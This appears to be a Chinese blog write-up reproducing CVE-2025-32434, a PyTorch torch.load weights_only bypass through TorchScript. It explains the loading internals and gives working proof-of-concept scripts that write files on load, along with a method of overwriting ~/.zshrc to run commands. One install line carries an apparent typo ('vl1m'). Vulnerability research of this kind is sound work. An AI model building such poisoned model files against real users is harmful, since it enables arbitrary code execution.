pytorch 模型加载致RCE漏洞复现 (CVE-2025-32434)

FROM blackhat 2025 USA 议题Safe Harbor or Hostile Waters: Unveiling the Hidden Perils of the TorchScript Engine in PyTorch

漏洞描述

在受影响版本中,由于torch.load()实现中针对tar格式的模型加载兼容处理逻辑实现不当,当使用安全配置参数weights_only=True时仍可能通过pickle反序列化执行任意代码。

漏洞理解

Try It Out: weights_only=False

Try It Out: weights_only=True

关键漏洞点

关键发现:

在调用weights 之前会判断是否有一个 torchscript zip ,如果有,就用torch.jit.load读取

TorchScript 理解

什么是 TorchScript? 是PyTorch的中间表示(Intermediate Representation)。它将PyTorch代码转换为一种可移植格式,以便在没有Python解释器的环境中(如C++和移动设备)高效执行

TorchScript的函数和类写法:

这张图展示了将一个 nn.Module 转换为 TorchScript 的过程

代码首先检查 nn.Module,找出所有需要被转换的方法(行为),然后,它对找到的每一个方法,应用我们之前了解的 Function -> AST -> IR 编译流程

torch.jit.script 首先它阅读你的 Python 函数代码,理解其语法结构(Python Function -> Python AST)。然后它将这个结构翻译成TorchScript IR (Python AST -> JIT AST -> IR)。最后将这个翻译好的版本(ScriptFunction)交付

下图拆解了SerializerScriptModule 拆解成了三个主要部分,分别存放不同类型的信息:

  • constants.pkl (存放权重)
    • 存放模型的所有张量(Tensor),主要是模型的参数(如权重、偏置)和缓冲区。
  • code/ (存放代码和调试信息)
    • 里面存放着编译好的 IR (Intermediate Representation),也就是那个静态计算图。这才是模型在非 Python 环境中执行所依赖的“机器码”。
  • data.pkl (存放其他数据)
    • 存放那些非张量的属性。图中标记为 IValue,它是 TorchScript 的一个通用数据类型,可以表示数字、字符串、列表、字典等。

torch.jit.load()

下面两个图 解释如何把一个 .pt 文件重新还原成 ScriptModule

这个过程将分散在 data.pklcode/ 中的信息组合起来,重新构建出一个可执行的 ScriptModule

总结:

  1. Reach main logic via ScriptModuleDeserializer::deserialize
  2. Call readArchive to read constants.pkl, convert constants to IValues by unpickling and save them to constants_table_
    • 程序调用 readArchive 来读取 .pt 文件(压缩包)中的 constants.pkl。然后,通过“反 pickle” (unpickling) 操作,将二进制的权重数据还原成张量对象。最后,这些张量被统一包装成 IValue 类型,并存入一个名为 constants_table_ 的列表中。
  3. Call readArchive to read data.pkl, restore corresponding IValues by unpickling
    • 接下来,程序再次调用 readArchive 来读取 data.pkl 文件。同样通过“反 pickle”操作,将其中存储的非张量数据还原成对应的 IValue 对象。
  4. During data.pkl unpickling, SourceImporter reads code files and constants_table_ to restore IR through parseType->findNamedType->importNamedType
    • 在处理 data.pkl 的过程中,会触发一个叫做 SourceImporter 的组件。这个组件负责:
      • 读取 code 文件: 它会去 code/ 目录下查找并读取序列化后的代码(IR)。
      • 使用 constants_table_: 它会持有对已经加载好的 constants_table_ 的引用。
      • 恢复 IR: 通过一系列内部函数调用 (parseType, findNamedType, importNamedType),它将读取到的序列化代码重新构建成内存中可执行的 IR (计算图)。在这个过程中,它会将 IR 中对权重的引用链接到 constants_table_ 中实际的张量。

IR机制

%5 : Tensor = aten::gt(%3, %4) # poc.py:5:4

  • output: %5,这是一个类型为 Tensor 的新变量。
  • op: aten::gt,表示“大于” (greater than)
  • input: %3%4,这两个是 gt 操作的输入
  • # poc.py:5:4: 这是调试信息,它将这行 IR 映射回了原始 Python 源代码的位置(poc.py 文件的第5行第4列)

解释器:一个基于栈的执行模型

Operator注册机制

打印的注册表如下:

可利用的Operator

写文件能力——write file: aten::save 操作符的实现流程是:从虚拟机栈上获取参数 -> 调用内部函数将要保存的对象序列化 -> 使用标准 C++ 库将序列化数据写入文件

读文件能力——read file: from_file 函数的实现流程是:创建一个直接指向文件数据的 Storage 对象 -> 在此 Storage 之上构建一个 Tensor 对象 -> 设置其元信息后返回

函数映射-懒加载

  1. 定义 (_modules_containing_builtins):
    • 首先,PyTorch 在一个列表中定义了所有包含 C++ 核心功能的 Python 模块(如 torch._C._nn, torch._C._fft 等)
  2. 懒加载构建 (_get_builtin_table):
    • 这个过程不是在 PyTorch 启动时就完成,而是采用懒加载模式,只在第一次需要查找时才执行
    • 它会遍历第一步中定义的每一个模块

C++ 回调 Python

C++ 编译器会回调到 Python _find_builtin 函数来完成查询

C++ 生成调用表达式

  • 入口点是 emitApplyExpr
  • **auto sv = emitSugaredExpr(apply.callee())**: 这是第一步。它递归地调用 emitSugaredExpr 来处理被调用的函数本身callee),也就是 torch.add
  • toSugaredValue 会回调 Python 的 _find_builtin,查找到 torch.add 对应的操作符是 aten::add,然后将这个信息封装成一个 BuiltinFunction 对象 sv 并返回
  • sv 是一个 aten::add 操作符,emitApplyExpr 会继续处理这个调用的参数xy),然后调用 sv 对象的 call 方法

读写文件能力

文件操作:

@torch.jit.script
def read_file(x: torch.Tensor):
    return torch.from_file('/file/path', dtype=torch.long, size=100)
    # read the tensor try to get actual word

@torch.jit.script
def write_file(x: torch.Tensor):
    return torch.save("xxx", "/file/path")
    # will write dirty characters

漏洞利用

本地复现

pip install torch==2.5.1

通过调用文件写入能力,来实现任意文件写导致RCE:

以写入 .zshrc 来攻击的例子,我们写入payload = "\nwhoami\nexit 0\n", 效果如下:

通过复写 ~/.zshrc 文件,当重新加载 zsh 即可实现命令执行,从截图中可以看到成功执行了whoami命令。

vllm < v0.7.3

主分支上安装 torch 版本为 2.7.1 (无法利用了) 。需要 torch 小于 2.6.0

议题展示的版本为 v0.7.3 torch版本为2.5.1

pip3 install vl1m==0.7.3

poc1.py:

import torch
import torch.nn as nn
class SimpleModel (nn.Module) :
    def __init__(self):
        super (SimpleModel, self).__init__()

    def items(self):
        torch. save("test\n", "/tmp/1.txt")
        return torch.zeros(0)
        
    def forward(self):
        self.items()
        return torch.zeros(0)

model = SimpleModel()
model_script = torch.jit.script(model)
model_script.save("evil.bin")

poc2.py:

class SimpleModel(nn.Module):
    def __init__(self):
        super (SimpleModel, self).__init__()
    @torch.jit.export
    def items(self):
        torch.save("test\n", "/tmp/1.txt")
        return torch.zeros(0)
    def forward(self):
        return torch.zeros(0)

exp.py:

import torch

model = torch.load('evil.bin', weights_only=True)

model()

议题成功截图:

Transformers <= 4.51.3

议题演示版本:

pip install transformers==4.51.3

漏洞演示:

本地:

利用:

补丁:

check_torch_load_is_safe


pytorch 模型加载致RCE漏洞复现 (CVE-2025-32434)
https://k3ppf0r.pages.dev/2025/08/10/CVE复现/pytorch 模型加载致RCE漏洞复现 (CVE-2025-32434)/
作者
k3ppf0r
发布于
2025年8月10日
许可协议